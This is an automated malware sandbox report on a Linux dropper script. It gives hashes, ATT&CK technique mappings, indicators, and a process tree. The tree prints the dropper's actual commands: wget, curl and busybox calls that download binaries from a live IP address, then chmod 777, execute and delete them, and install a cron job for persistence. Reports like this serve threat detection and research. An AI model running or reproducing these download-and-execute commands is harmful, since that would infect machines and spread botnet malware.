8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 19:50

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General

Target

QR71Y_bins.sh
Size

10KB
MD5

1af48b59e54a461d801c58a2e6f2853e
SHA1

d8ce0cc7e067bbcc17e7f02651135515cac789e0
SHA256

8d6701b66f6d5e2f19a450e764fd9f305021b2504b7e9ef41c1800ac442549af
SHA512

984eab328dd823233835ab7ec678a632f3ad7671948c58ee5dceba6e0045e15f937a944c47263608dde996c12ab3284cb1230616d9e179db3332f0612c898eab
SSDEEP

96:FhFtmK6NFXTn4C+dwkev3JSIxj4P8wkev3JUIxCI5mK6NFtdf42BhF3Cci:8Tn4C+dwkev3JSKFwkev3J4W

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2130) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmod

pid process

1493 chmod
1500 chmod
1507 chmod

pid	process
1493	chmod
1500	chmod
1507	chmod

Executes dropped EXE 3 IoCs

Processes:

hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATNh8thNalBVsVsZGzxShbyd3BrADft88FHF5qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

ioc	pid	process
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	1494	hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	1501	h8thNalBVsVsZGzxShbyd3BrADft88FHF5
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	1508	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Renames itself 1 IoCs

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

pid process

1509 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.J1yX4P crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1509	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.J1yX4P	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

description	ioc	process
File opened for reading	/proc/429/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1538/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1612/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1536/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1581/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1586/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1600/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1621/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/78/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/79/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/154/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1703/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1740/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1543/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/36/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1109/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1254/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1542/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1618/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1709/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1713/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/20/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/449/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1113/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1719/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/456/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1034/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1602/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1736/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1096/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1548/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1652/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1630/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1660/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1694/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1718/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1721/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1133/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1544/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1546/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1728/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1057/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1072/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1479/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1585/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1616/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/31/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/160/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/532/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1707/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1708/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1730/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/7/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1564/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1706/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1562/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1578/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1587/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1741/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1743/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/955/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1220/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/1557/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
File opened for reading	/proc/529/cmdline	qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetcurlbusyboxwgetcurlbusyboxcurlbusybox

description	ioc	process
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	wget
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	curl
File opened for modification	/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3	busybox
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	wget
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	curl
File opened for modification	/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN	busybox
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	curl
File opened for modification	/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5	busybox

/tmp/QR71Y_bins.sh
/tmp/QR71Y_bins.sh
1⤵
PID:1476
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1477
- /usr/bin/wget
  wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1478
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1483
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Writes file to tmp directory
  PID:1484
- /bin/chmod
  chmod 777 hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - File and Directory Permissions Modification
  PID:1493
- /tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  ./hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  - Executes dropped EXE
  PID:1494
- /bin/rm
  rm hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN
  2⤵
  PID:1496
- /usr/bin/wget
  wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1497
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Writes file to tmp directory
  PID:1499
- /bin/chmod
  chmod 777 h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  ./h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  - Executes dropped EXE
  PID:1501
- /bin/rm
  rm h8thNalBVsVsZGzxShbyd3BrADft88FHF5
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1504
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod 777 qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  ./qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1508
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1510
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1511
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1512
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1513
- /bin/rm
  rm qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3
  2⤵
  PID:1515
- /usr/bin/wget
  wget http://216.126.231.240/bins/2nEVwaGHoBBJcSdWw8X2JbXFUxUn0po6H1
  2⤵
  PID:1518

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/h8thNalBVsVsZGzxShbyd3BrADft88FHF5

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hlGl6ZW1KRFLKizQMCfDoe514MxjnZQATN

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/qOZ1xK3KPFobNQsEftXK8hT7NJVguKa9t3

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.J1yX4P

Filesize
210B

MD5
0db3dde10af0ebb24ec434e1f7272d64

SHA1
8b4953499fe30592102508f316cf94d20944bef6

SHA256
698926c3047bd615809440f0e93ab1c929749ecda250987de31a5aeefac70cf3

SHA512
e58cc7f7b83a2537384709227eca9ecceacad2c4956b167c8aeeed034daefee04dd1dca5dda58d3f2a40320b3894b1d9b1b91f5c072e12dfa7db8dd48ec1364f

Download Submit